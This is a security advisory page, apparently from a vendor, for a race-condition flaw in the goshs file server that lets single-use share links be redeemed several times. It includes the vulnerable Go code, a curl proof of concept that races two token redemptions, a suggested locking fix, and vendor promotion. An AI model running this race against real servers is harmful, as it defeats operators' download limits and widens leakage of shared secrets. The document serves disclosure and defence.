GHSA-j48m-h7xq-2xpj
MEDIUMGHSA-j48m-h7xq-2xpj is a medium-severity (CVSS 5.9) CWE-362 vulnerability in goshs.de/goshs/v2. O3 Security confirms whether GHSA-j48m-h7xq-2xpj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
goshs: Share-link ?token=… redemption races past download limit
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-j48m-h7xq-2xpj plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
goshs.de/goshs/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Share-link ?token=… redemption races past download limit
Ecosystem: Go
Package: goshs.de/goshs/v2 (github.com/patrickhener/goshs)
Affected: <= v2.0.9 (every release that shipped the share-link feature)
Summary
ShareHandler reads the share token's DownloadLimit under RLock, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same Downloaded/DownloadLimit snapshot, all pass the check, and all are served — exceeding the operator's intended cap.
Details
httpserver/handler.go:968-1018:
fs.sharedLinksMu.RLock()
entry, ok := fs.SharedLinks[token]
fs.sharedLinksMu.RUnlock() // <-- released here
if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {
// ...serve file... // <-- whole transfer happens unlocked
}
fs.sharedLinksMu.Lock() // <-- re-acquired only now
current.Downloaded++
if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }
fs.sharedLinksMu.Unlock()
Between line 978 (RUnlock) and line 1008 (Lock), any number of goroutines can interleave and each observes the same pre-increment limit.
Proof of concept
goshs -p 18000 -d /tmp/r -b admin:pw &
echo data > /tmp/r/f.txt
# operator issues a one-shot share
SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1")
TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p')
# attacker races two redemptions
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
wait
# observed: 200 / 200 (both succeed) -> limit=1 redeemed twice
Reproduced 5/5 times in a row on a 2026-era M-series Mac during verification.
Impact
A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.
Suggested fix
Reserve under the write lock before serving — refund only if the serve fails:
fs.sharedLinksMu.Lock()
entry, ok := fs.SharedLinks[token]
if !ok || time.Now().After(entry.Expires) ||
(entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) {
fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return
}
entry.Downloaded++
if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit {
delete(fs.SharedLinks, token)
} else {
fs.SharedLinks[token] = entry
}
fs.sharedLinksMu.Unlock()
// ...serve...
Add a regression test that races two requests against a limit=1 token and asserts exactly one 200.
Reporter: Nishant Verma. Reproduced against goshs v2.0.9 (commit 8fc1e91) on 2026-05-27.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | goshs.de/goshs/v2 | all versions | 2.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for goshs.de/goshs/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update goshs.de/goshs/v2 to 2.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j48m-h7xq-2xpj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-j48m-h7xq-2xpj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-j48m-h7xq-2xpj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-j48m-h7xq-2xpj in your dependencies?
O3 detects GHSA-j48m-h7xq-2xpj across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.